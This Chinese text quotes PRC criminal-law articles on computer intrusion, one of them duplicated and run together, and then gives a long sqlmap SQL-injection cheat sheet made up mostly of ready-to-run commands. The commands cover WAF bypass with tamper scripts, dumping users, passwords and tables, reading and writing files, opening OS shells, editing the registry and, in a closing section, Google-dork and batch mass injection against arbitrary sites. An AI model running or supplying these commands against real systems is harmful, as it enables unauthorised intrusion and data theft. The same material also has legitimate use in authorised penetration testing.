第二百八十五条 非法侵入计算机信息系统罪
违反国家规定,侵入国家事务、国防建设、尖端科学技术领域的计算机信息系统的,处三年以下有期徒刑或者拘役。
违反国家规定,侵入前款规定以外的计算机信息系统或者采用其他技术手段,获取该计算机信息系统中存储、处理或者传输的数据,或者对该计算机信息系统实施非法控制,情节严重的,处三年以下有期徒刑或者拘役,并处或者单处罚金;情节特别严重的,处三年以上七年以下有期徒刑,并处罚金。
提供专门用于侵入、非法控制计算机信息系统的程序、工具,或者明知他人实施侵入、非法控制计算机信息系统的违法犯罪行为而为其提供程序、工具,情节严重的,依照前款的规定处罚。
单位犯前三款罪的,对单位判处罚金,并对其直接负责的主管人员和其他直接责任人员,依照各该款的规定处罚。第二百八十六条 破坏计算机信息系统罪违反国家规定,对计算机信息系统功能进行删除、修改、增加、干扰,造成计算机信息系统不能正常运行,后果严重的,处五年以下有期徒刑或者拘役;后果特别严重的,处五年以上有期徒刑。
违反国家规定,对计算机信息系统中存储、处理或者传输的数据和应用程序进行删除、修改、增加的操作,后果严重的,依照前款的规定处罚。
故意制作、传播计算机病毒等破坏性程序,影响计算机系统正常运行,后果严重的,依照第一款的规定处罚。
单位犯前三款罪的,对单位判处罚金,并对其直接负责的主管人员和其他直接责任人员,依照第一款的规定处罚。
第二百八十六条 破坏计算机信息系统罪
违反国家规定,对计算机信息系统功能进行删除、修改、增加、干扰,造成计算机信息系统不能正常运行,后果严重的,处五年以下有期徒刑或者拘役;后果特别严重的,处五年以上有期徒刑。
违反国家规定,对计算机信息系统中存储、处理或者传输的数据和应用程序进行删除、修改、增加的操作,后果严重的,依照前款的规定处罚。
故意制作、传播计算机病毒等破坏性程序,影响计算机系统正常运行,后果严重的,依照第一款的规定处罚。
单位犯前三款罪的,对单位判处罚金,并对其直接负责的主管人员和其他直接责任人员,依照第一款的规定处罚。
1.sqlmap获取目标
sqlmap.py -d "mysql://admin:[email protected]:3306/test" -f --banner
sqlmap直接对单一URL探测,使用 -u
URL格式:http(s): //targeturl[:port]/[…]
sqlmap.py -u "http://www.target.com/vuln.php?id=1" --banner
sqlmap支持从不同类型的文件中读取目标进行Sql注入探测
- -l 从Burpsuite proxy 或 WebScareb proxy 中读取 Http 请求日志文件
- -x 从 sitemap.xml 站点地图文件中读取目标探测
- -m 从多行文本格式文件读取多个目标,对多个目标进行探测
- -r 从文本文件中读取 Http 请求作为 Sql 注入探测的目标
- -c 从配置文件 sqlmap.conf 中读取目标探测
sqlmap 通过 -c 自动利用 Google 获取指定 Google hack 目标,然后利用交互向导进行 SQL 注入探测
sqlmap.py -g "inurl:\.php?id=1\"
2.sqlmap请求参数设置
Sqlmap会自动在探测过程中使用适合的HTTP请求方法。
但是在某些具体情况下,需要强制使用具体的HTTP请求方法。
PUT请求方法:HTTP PUT请求方法不会自动使用,因此需要我们强制指定。使用 --method=PUT
默认情况下,用于执行HTTP请求的HTTP方法是GET,但是
可以通过提供在HTTP请求中发送的数据隐式地将其更改为POST
sqlmap.py -u "http://127.0.0.1/sqli/Less-11/index.php" --data="uname=admin&passwd=admin&submit=Submit" -f --banner --dbs --users // -f fingerprint 指纹
sqlmap默认参数分隔符为&
sqlmap.py -u "http://www.target.com/vuln.php" --data="query=foobar;id=1" --param-del=";" -f --banner --dbs --users
如果需要对HTTP Cookie值进行SQL注入探测,需要设置 --level 2以上
使用场景:
1、Web应用程序具有基于Cookie验证的过程;
2、想利用Cookie值上的SQL注入漏洞。
sqlmap使用Cookie过程:
1、登录或浏览页面。
2、成功登录后,按F12、打开审计工具或代理截断,复制Cookie。
sqlmap.py -u "http://192.168.3.22/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=i1r88pvdgjmoi9jbbp6qmqiu32"
3、在Sqlmap中使用 --cookie 粘贴Cookie。
还可以是将burp跳转后出现cookie那一页,进行保存,再将level设置的大于2
Cookie中的参数:
--cookie --cookie-del --load-cookies --drop-set-cookie
通过 --cookie-del 设置cookie分隔符
通过提供 --drop-set-cookie 将忽略任何即将到来的Set-Cookie头来避免
发送一个 -cookie 报头,sqlmap将询问您要为以下HTTP请求使用哪组Cookie
--load-cookie,可以用来提供包含Netscape/wget格式的cookie的特殊文件
level设置为3
默认情况下,salmap使用`sqlmap/1.0-dev-xxxxxxx(http://sqlmap.org)`
然而有些时候,目标主机会过滤掉这个请求
可以先用burp抓取正常的`user-agent`,然后使用参数 `--user-agent=""`
也可以通过 `--random-agent` 参数使得sqlmap从`./text/user-agent` 中随机抽取一个`User-Agent`
需要将 level 设置为5,然后sqlmap才能对HTTp主机头进行SQL注入
--host=HOST
默认情况下,HTTP请求中不会发送HTTP引用头
如果–level设置为3或以上,将针对HTTP引用头 进行SQL注入测试
--referer=REFERER
通过设置选项–header,可以提供额外的HTTP标头。每个标头必须用换行符分隔
有两种,第一种可以设置多个参数,第二种只对User-agent进行设置
--headers="User-agent=HAHA\nCookies=123456"
-H "User-agent=HAHA"
参数:--auth-type
和--auth-cred
–auth-type支持 Basic
、Digest
、NTLM
–auth-cred认证语法为:username:password
sqlmap.py -u "http://url/arit.php?id=1" --auth-type Basic --auth-cred "testuser:testpass"
sqlmap中设置代理的参数:--proxy
, --proxy-cred
, --proxy-file
,--ignore-proxy
--proxy //用来设置HTTP代理服务器位置 格式:--proxy http(s)://ip[:端口]
--proxy-cred //用来设置HTTP代理服务器认证信息 格式:--proxy-cred username:password
--proxy-file //用来设置多条代理在文件中
--ignore-proxy //当您希望通过忽略系统范围内的HTTP(S)代理服务器设置来针对本地网络的目标部分 运行sqlmap时,应该使用这种方法。
sqlmap中设置Tor网络的参数:--tor
, --tor-port
, --tor-type
,--check-tor
--delay 0.5
在考虑超时HTTP(S)请求之前,可以指定等待的秒数。有效值是一个浮点数,例如10.5表示10秒半。默认设置为30 秒
--timeout 10.5
--retries count //设置对应重试次数,默认情况下重试3次
sqlmap可以指定要在每次请求期间随机更改其值的参数名称。长度和类型根据提供的原始值保持一致
--randomize 参数名称
--randomize id
配合burpsuite中的Project options-----Misc-----Logging-----Proxy----Requests
这儿来设置burp日志
与使用选项-l使用从提供的日志解析的所有主机不同,您可以指定有效的Python正则表达式,用于过滤所需的日志
sqlmap.py -l burp.log --scope="(www)?\.target\.(com|net|org)"
sqlmap.py -l burp.log --scope="127.0.0.1"
--skip-urlencode
测试偶尔返回HTTP错误401(未经授权的)的站点,忽略它并在不提供适当凭证的情况下继续测试,使用
--ignore-401
当web服务器需要适当的客户端证书和用于身份验证的私钥时,提供的值应该是一个PEM格式的key_file,其中包含证书和私钥
--auth-file
文件名
避免在多次请求失败后销毁会话
如果执行了一定数量的不成功请求,则在此期间的web应用程序或检查技术会销毁会话。这可能发生在sqlmap的检测阶段或利用任何盲SQL注入类型时。原因是SQL有效负载不一定返回输出,因此可能会向应用程序会话管理或检查技术发出信号
--safe-url
, --safe-post
, --safe-req
,--safe-freq
–safe-url=SAFEURL //提供一个安全不错误的连接,每隔一段时间都会去访问一下
–safe-post=SAFE.. //提供一个安全不错误的连接,每次测试请求之后都会再访问一遍安全连接。
–safe-req=SAFER.. //从文件中加载安全HTTP请求
–safe-freq=SAFE.. //测试一个给定安全网址的两个访问请求
通过这种方式,sqlmap将访问每个预定义数量的请求,而不对某个安全URL执行任何类型的注入
据参数的位置(例如GET),默认情况下它的值可以是URL编码的。在某些情况下,后端web服务器不遵循RFC标准,需要以原始的非编码形式发送值。在这种情况下使用--skip-urlencode
--skip-urlencode //不进行URL加密
3.sqlmap性能优化
-o //开启所有性能优化参数
--keep-alive
--null-connection
默认为1
--thread 8
最高为10
--predict-output
4.sqlmap指定位置注入
-p
--skip
--param-exclude
--skip-static
-p : 指定具体探测的参数。例如 : -p "id,user-agent"
--skin: 忽略探测具体的参数, 例如: --level 5 --skin "user-agent,referer"
--param-exclude :忽略包含具体内容的参数。例如:--param-exclude="token|session"不对包含的token或session的参数进行探测
--skip-static:忽略非动态参数
当注入点再URI本身时,要 手动指向URI路径,必须在命令行中添加()来指定注入点*
sqlmap.py -u "http://192.168.3.22/targeturl/param1/value*/param2/value2/"
sqlmap.py -u "http://192.168.3.22/sqli/Less-1/?id=1*&us=4&uname=admin" --current-db
sqlmap.py -u "http://192.168.0.1/sqli/Less-11/index.php" --cookie="param1=value1*;param2=value2"
5.sqlmap注入参数介绍
以下列出 Sqlmap完全支持的DBMS种类
Mysql
、Oracle
、Microsoft SQL Server
、IBM DB2
、SQLite
、Firebird
、Sybase
、SAP MaxDB
、 HSQLDB
、Informix
--dbms 数据库管理系统名称 [版本号]
--dbms mysql 5.0 、--dbms microsoft sql server 05
以下列出Sqlmap完 全支持的OS种类。
Linux
、Windows
--os windows
--os linux
在这种机制中,所有条目都被转换为字符串类型,并在NULL值的情 况下用空格字符替换。这样做是为了防止出现任何错误状态(例如,将空值与字符串值连接起来),并简化数 据检索过程本身。尽管如此,还是有报告的案例(例如MySQL DBMS的旧版本)由于数据检索本身的问题(例 如没有返回值)需要关闭这种机制(使用此开关)
--no-cast
在sqlmap需要在有效负载中使用(单引号分隔)字符串值(例如,选择’foobar’)时,这些值将自动 转义(例如,选择CHAR(102)+CHAR(111)+CHAR(111)+CHAR(98)+CHAR(97)+CHAR(114))。 这样做的原因有两个:混淆有效负载内容和防止后端服务器上查询转义机制(例如magic_quotes 和/或mysql_real_escape_string)的潜在问题。用户可以使用这个开关关闭它(例如减少有效负载 大小)
--no-escape
--invalid-bignum //强制使用大整数值(例如id=99999999)
--invalid-logical //强制使用布尔操作(例如id=13 and18=19)
--invalid-string //强制使用随机字符串(例如id=akewmc)
通过直接提供注入有效负载前缀和后缀来进行SQL注入
--prefix //设置SQL注入Payload前缀
--suffix //设置SQL注入Payload后缀
$query = "SELECT * FROM users WHERE id=(' . $_GET['id'] . ') LIMIT 0, 1";
sqlmap.py -u "http://ip/sqlmap/mysql/get_str_brackets.php\?id=1" -p id --prefix "')" --suffix "AND ('abc'='abc"
$query = "SELECT * FROM users WHERE id=('1') AND ('abc'='abc') LIMIT 0, 1" ;
sqlmap通过Tamper脚本来绕过WAF等防御措施,可以在tamper文件夹下找到所有sqlmap自带的tamper脚本
sqlmap.py -u "http://ip/sqlmap/mysql/get_int.php?id=1" --tamper“between.py,randomcase.py,space2comment.py” -v 3
设置DBMS认证方式通过以下命令:--dbms-cred = username:password
6.sqlmap设置自定义参数查询
--level 5
在显示无法注册时,可以设置 `--level 5` 来进行更强大的探测
--risk num
三个风险值,
默认值为1,这对于大多数SQL注入点来说是无害
值2增加了大量基于查询时间的SQL注入测试
值3增加了基于or的SQL注入测试
--string
:指定包含字符串 查询为True
--not-string
:指定包含字符串 查询为False
--regexp
:指定通过正则表达式匹配字符串,查询为True
--code
:指定匹配HTTP状态响应码,查询为True
--text-only
:设置页面内容中包含
例如:–text-only = “Welcome for True and Forbidden for False”
--titles
:设置页面title中包含文本
–titles=”Login”
7.sqlmap注入技术参数
--technique
参数用来设置具体SQL注入技术
B: Boolean-based blind 基于布尔的盲注
E: Error-based 报错注入
U: Union query-based Union查询注入
S: Stacked queries 堆叠注入
T: Time-based blind 基于时间的盲注
Q: Inline queries 内联查询注入
例如:sqlmap -u “存在注入点的URL” --technique B --current-db
利用基于布尔的盲注对注入点进行SQL注入探测。
--time-sec 3
在测试基于时间的盲SQL注入时,可以设置秒来延迟响应,默认情况下,它的值设置为5秒
默认情况下,sqlmap测试使用1到10列的UNION查询SQL注入技术但是,通过提供更高--level
值,可以将此范围增加到50列。
可以手动告诉sqlmap使用特定范围的列来测试这种类型的SQL注入,–union-cols后跟一系列整数。
例如,12-16表示使用12到16个列对UNION查询SQL注入进行测试。
例如:sqlmap -u “存在注入的URL” --union-cols 12-18 --current-db
默认情况下,sqlmap测试使用空字符的联合查询SQL注入,
但是,通过提供更高级别的值sqlmap,还将使用随机数执行测试,因为在某些情况下,UNION查询测试使用NULL会失败,而使用随机整数则会成功。
--union-char
例如–union-char 123
某些情况下,Sqlmap需要设定Union 查询SQL注入的具体数据表才可以得到数据
--union-from
表名
针对目标网络很有可能对外部流量进行限制,或者设置WAF
--dns-domain
dns服务器
需要用户自身具有一个开放53端口的DNS服务器,通过DNS流量来获得Web应用程序中数据内容
--second-order url
8.sqlmap检索DBMS信息
--banner
或者 -b
获取DBMS当前用户--current-user
获取当前数据库名--current-db
sqlmap检索DBMS当前主机名--hostname
sqlmap探测当前用户DBA
--is-dba
探测当前用户是否是数据库管理员
sqlmap枚举DBMS用户
获取DBMS所有用户--users
sqlmap枚举DBMS用户密码
--password
获取用户密码
sqlmap枚举DBMS权限
--privileges
--role(角色)
9.sqlmap枚举信息
--dbs
列举数据库名称--tables
枚举表名--exclude-sysdbs
除系统数据库外的所有数据库--columns -D指定数据库 -T指定数据表 -C指定具体字段
sqlmap.py -u "" -D security -T users -C "username,password"--dump
sqlmap枚举schema信息
--schema
可以用来检索DBMS模式,模式列表将包含所有数据库、表和列,以及它们各自的类型
与--exclude-sysdb
结合使用时,只会检索和显示包含非系统数据库的模式的一部分
--count
--start 1 --stop3
获取第二张到第三张表的名字--stop 1
获取第一张表的名字--first 3 --last 5
获取从第三出发到第五个字符--pivot-column=id
设置独一无二的列--where=“id>3
” 设置条件--common-tables
--common-columns
10.sqlmap读取文件
--file-read
路径 读取对应文件内容。
注意:此处路径为绝对路径
sqlmap写入文件
--file-write
读取本地文件
--file-dest
将读取到的文件写入到远程绝对路径
sqlmap检索所有信息
-a --all
sqlmap系统参数
sqlmap执行系统命令,通过返回shell来执行
--os-shell
python sqlmap.py -u "注入点" --os-pwn MySQL and PostgreSQL
--reg-read
--reg-add
--reg-del
--reg-key, --reg-value, --reg-data --reg-type
python sqlmap.py -u http://192.168.136.129/sqlmap/pgsql/get_int.aspx?id=1 --reg-add --reg-key="HKEY_LOCAL_MACHINE\SOFTWARE\sqlmap" --reg-value=Test --reg-type=REG_SZ --reg-data=1
11.sqlmap通用参数
sqlmap.py -s session.sqlite
恢复会话所需的所有数据
用-t
来指定保存文件位置,显示sqlmap的http请求
--batch
--os-cmd=”命令”
在基于布尔和基于时间的SQL盲注中,用户可以强制使用自定义字符集来加速数据检索过程
例如,如果转储消息摘要值(例如SHA1),则使用–charset=“0123456789abcdef”,预期请求数量比正常运行少30%左右。
--crawl=3
3代表深度,先爬取后注入,使得注入更快速
当被转储的数据存储到CSV格式(–dump-format=CSV)时,条目必须用“分离值”分隔(默认值是,)。如果用户想要覆盖它的默认值,他可以使用这个选项(例如–csv-del=";")
--dump-format
--check-internet
--form
--eta
--flush-session
--fresh-queries
非ascii数据的检索需要特殊的需求。解决这个问题的一个方法是使用DBMS hex函数。数据在被检索之前被编码为十六进制形式,然后被未编码为原始形式
--hex
sqlmap设置自定义输出路径
--output-dir=/
sqlmap从响应页面解析错误
--parse-error
保存Sqlmap配置文件
--save
可以将命令行选项保存到配置INI文件中。然后,可以使用之前解释的-c选项编辑生成的文件并将其传递给sqlmap
--update
最好站在梯子上
--encoding="gbk"
--har="HARFILE"
HAR(HTTP Archive),是一个用来储存HTTP请求/响应信息的通用文件格式,基于JSON
--test-filter="ROW"
--test-skip="BENCHMARK"
--scope="regex"
12.sqlmap杂项参数
sqlmap提供灵活的缩写助记符来进行快速书写命令
-z
例如:
python sqlmap.py --batch --random-agent --ignore-proxy --technique=BEU -uwww.target.com/vuln.php?id=1"
使用助记符:
python sqlmap.py -z "bat,randoma,ign,tec=BEU" -u "www.target.com/vuln.php?id=1"
在发现SQL注入漏洞时,计算机发出警报声
--alert
如果用户想自动设置问题的答案,即可使用–batch,使用–answers,通过在等号后面提供问题的任何部分和答案来完成
另外,不同问题的答案可以用分隔符分隔
python sqlmap.py -u "http://192.168.22.128/sqlmap/mysql/get_int.php?id=1"--technique=E --answers="extending=N" --batch
如果用户使用--beep
,当发现SQL注入时,会立即发出哔哔的警告。这在需要测试的大量目标url(选项-m
)时特别有用
13.你们都懂
sqlmap谷歌搜索注入: sqlmap.py -g "site:.uk inurl:php/?=" --thread=10
sqlmap批量注入:sqlmap.py -m "G:\url.txt" --thread=10